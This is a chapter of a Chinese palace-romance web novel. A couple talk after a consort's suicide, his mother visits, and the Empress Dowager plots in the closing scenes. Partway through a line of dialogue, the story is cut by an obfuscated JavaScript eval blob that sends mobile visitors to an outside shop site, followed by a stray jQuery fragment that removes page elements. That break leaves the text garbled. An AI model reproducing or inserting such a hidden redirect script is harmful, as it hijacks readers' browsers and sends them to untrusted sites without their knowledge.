72. 第 72 章母子
    还没想出个答案来,一阵困意朝脑子扑来,裴萝一时连眼睛都睁不开,像被黏住。

    毕竟昨夜一整夜没睡。而且应该不止她一个人这么困倦。

    回到卧房,果然看到床上先躺了一个人,已经提前睡着了。裴云庭睡相一向安静,不怎么喜欢动来动去。

    卧房水沉浮动,气氛静谧。

    裴萝脱去外衣和鞋,昨夜打架时滚来滚去首饰都掉的差不多了,也没有什么需要卸的,简单整理了下头发,轻手轻脚爬上床,躺到裴云庭身边,托着下巴看他。

    困意稍微褪去,裴萝伸出手,虚虚地勾了一下裴云庭的鼻梁,又看了他一眼,闭上眼睛。

    醒来时已是黄昏,淡淡的夕阳从西窗投进来,铺了一地。

    裴云庭先睡,也先醒了,迷蒙中想动动手臂,察觉碰到了什么,这才发现身边还有个人,裴萝大概是累极了,居然没有醒。

    他放缓动作,侧着身看她,裴萝正安稳地睡着,睡着的样子很乖,眉目舒展,气息均匀,像一只信赖着他的小动物。脸上的痕迹已消退不少,只留下一层浅淡的红。

    今夜可以安枕了,他想。

    正看着,突然庆林在外嚎了一声:“王爷王妃,该用晚膳了!”

    声音还不小。

    裴云庭没来得及出声制止让他滚远些,裴萝就被吵醒了,睁开眼第一个看的就是他。准确的说,是她下意识地在寻找他,找到才松了口气,眼睛逐渐清明。

    她咧嘴一笑,往前蹭了蹭,蹭进他怀里贴着他,手搂在他腰间,裴云庭的手放在她背后,两人像长在一起。

    都不想起床。

    “夫君。”裴萝闭着眼,沉吟着缓缓道,“你知道昨夜兰妃自尽时我在想什么吗?”

    裴云庭下巴蹭她额前的头发,声线柔和:“不知道,想些什么?”

    “我在想,她就像另一个我。”裴萝说,“如果我当时没有逃婚,听话地嫁进皇宫,那么这就是我的结局。”

    裴云庭沉默了许久,吐出两个字:“幸好……”

    后面没说,裴萝却也懂他要说什么,轻“嗯”了一声。“对,幸好。”她道,又往他怀里贴了贴,“有你。”

    幸好没有妥协,幸好你再次找到了我。

    “看来有时候不那么听话也并不是一件坏事。”裴云庭抱着她,说道,“不管什么时候,一个人,总是不能违背自己的心。”

    裴萝接口道:“否则会生不如死。”

    人不听话也不是一件可以随心所欲的事,需要勇气,而裴云庭就是裴萝永不枯竭的勇气来源,她的每一分骨和血,每一寸灵魂上都刻有他的影子,所以她什么都不怕。

    “对。”他看她,满目赞赏,“你做的很好。”

    “裴萝,你跟她不一样。”

    裴萝点头,指指自己的心脏:“我还在想你,可想可想了,疼的很。我知道,没有我,你肯定睡不好也吃不好,第二日发现,果然如此。”

    “所以我不能没有你。”裴云庭深情允诺,“记住了吗?”

    她故意不说,拿手指头玩他散落下的黑发。

    贴的太紧,察觉到热气蒸腾,裴云庭眼瞳微闪,在裴萝背后的手底下是她细瘦纤巧的蝴蝶骨,还有隔着衣服散发温热的皮肤,心思不由得开始躁动。

    “裴萝。”男子的气息落在耳际,呵气时直发痒,裴萝忍不住想躲,却是越躲搂他越紧,身体的每一个弧度,他都清晰感知。

    “夫人你这……是在占我便宜?”

    “你不是要我谢你吗?怎么,夫君不喜欢?”她眼瞳如黑墨,嗓音慵懒,呼出的气息落在他胸口,晕开热乎乎的一片。

    “喜欢……”一个吻跟着话音落下。

    裴萝轻颤了一下,笑着拿手去推他,躲着不肯应承这个吻:“不行,我还没沐浴……”

    刚睡醒,手软绵绵的,没什么力气,倒有些欲迎还拒的意味,手被他抓住,裴云庭掌心处很热,裴萝的脸更红了。

    他攥着她的手,道:“早前说过去寺庙,却一直没去成,明日便一同去吧,求个上上签。”

    裴萝答应:“好。”

    “王爷王妃起来吃饭喽!!”外面庆林的叫声又起了,听起来很是嚣张。

    通叔的声音跟着响起:“乱吵什么,过来干活!”

    随即安静下来,又一个声音传来:“既然累了,就别再扰,让他们好好休息。”

    温柔,沉稳而有力,不急也不缓,是青平公主。

    原来是青平公主过府来了。

    裴萝忙用手推裴云庭起来,可她的手还被他握着,不怎么灵便,他偏不起,拽着她,缠着她跟她耍赖,不亲就不起床。

    好不容易才起来,穿好外衣一起走出卧房,通叔说青平公主正在前厅,裴萝拉着裴云庭连忙过来见过。

    青平公主喜静不喜闹,不经常过来王府,所以哪怕是已成婚好几个月,裴萝见她的次数也不多。

    上次还是出发去治瘟疫之前,那时她把裴云庭批驳的一无是处。

    “母亲。”

    行过礼后,裴萝静坐在一边,桌上有海棠花糕,伸手拿了一块小口咬着吃,听着母子间的对话。

    是关于早前去泽州治疫以及昨日的事。

    “要你有什么用?”青平公主板着脸,开口就是训斥,“连自己的夫人保护不了!”

    “本以为经泽州一事,不用提点你就能长些记性,没想到却还是这么愚蠢!”

    裴云庭垂着眼,显然无话可说。

    他对他的母亲一贯都是客客气气的,礼节周到,温润谦和,却没有亲人之间的亲昵和无拘,淡淡的,仿佛是随时在等着长公主发布命令,好领任务。

    裴萝放下手里的花糕,说道:“母亲莫生气,此事并非王爷不想,属实是他并非大夫,属实是帮不上忙,倘若那时候真一起去,瘟疫实在凶险,万一有差池,千里迢迢的,母亲也担心不是吗?”

    青平公主脸色有所缓和,问裴萝:“你一人在那里时,可害怕?”

    裴萝摇头:“行医救人本就是大夫的本职,我不怕,况且泽州也并非我一人,还有很多的同行,他们都并未嫌弃我是女子,尽心尽力地商量对策,所有人协同一起完成这件事,所以就更不怕了。”

    “今日也多亏了王爷,找出摘花下毒的人,才将我从佛堂里放出来,否

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655071|143992||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    则我还不知道要关到什么时候!”

    青平公主“哼”了一声:“你自然帮着他!”

    裴萝笑:“那是。”

    这句话一出,连青平公主也跟着想笑。

    身旁嬷嬷也眯起眼,微笑道:“公主您看,小两口夫妻情深,牢不可破,很是恩爱啊,公主也应该放心了!”

    “裴云庭。”青平公主叫了一声,裴云庭微微点头,垂眸恭顺:“是,母亲。”

    “阿萝经历这么多事,又病了许久,身子弱,没事干就把你那股劲儿拿出来,在家里给她好好补补,不要让人觉得我齐王府穷光蛋,偌大的门楣把人养的风一吹就跑了,让人心疼,听见没有?”

    “是。”

    裴萝笑颜跟花一样:“谢谢母亲关怀,王爷他把我养的可好了,母亲放心!”

    青平公主这才松了口气,端起茶杯喝了口茶。

    “那就好!快去吃饭吧,本宫就不多留了!”

    裴萝自背后用一根手指轻轻戳了戳裴云庭的腰窝。

    “母亲。”裴云庭依然没什么大表情,道,“天色已晚,夜色十分寒凉,母亲不如在王府吃过饭再回去吧,也从容些。”

    青平公主微微一怔,目光落在裴萝脸上,她正专心地看着裴云庭,不曾察觉。

    与嬷嬷对视了一眼,两人不约而同轻笑了出来。

    “也好。”

    一日后,关于腊月中发生的宫廷血案有了结果,凶手已自尽,也算是告慰了张家人苦求真相的心。

    后宫中接连失去两位妃子,一片肃穆低沉,萧止心情也不好,早早便结束了朝会。

    下朝后,去了漪兰殿。

    兰妃犯事,宫人被内府司遣至他殿安排当差,偌大的宫殿此刻已空置。

    还没进去,门缝里就吹来一股冷风,令人脊骨发凉。

    薛涛劝道:“皇上,这里面不太吉利,要不还是别进去为好。”

    萧止还是命人打开,果然空荡又阴寒,透着无边萧瑟。

    院中兰圃枯黄。

    这里的每一株兰他都叫的上名。

    萧止脑袋很清醒,他能分得清谁是谁,也知道自己的每一分心思落在何处,前世今生是真,日久生情也是真。

    宁若兰浅薄,又蠢笨,整个世界只有宫门那么大,还心思狠毒,远比不上裴萝的冰雪仁心,心怀大义,可是,这是老天给他的补偿,因为他与裴萝早已注定此生无缘。

    本想好好珍惜,却没想到,还是这么快就走到了头。

    徒留一声叹息。

    身后,薛涛众人垂下头,躬身行礼。

    再远处,周仪带着人悄无声息走开。

    “太后娘娘还请宽心,这死了一个,如今只剩下一个了,好对付!”身旁一个面容冷冽的嬷嬷说道,“只是没想到她竟如此聪明。”

    “聪明?怎么,不是好对付吗?”周仪观沈嬷嬷面有难色,微微一笑,“再聪明的人也有软肋。”

    “那是自然。”周嬷嬷连声,“只是皇上这边对她的心思太重,明眼人都看着,怕是不太好应付。”

    “哀家自有安排。”

    打狐狸,需要时机。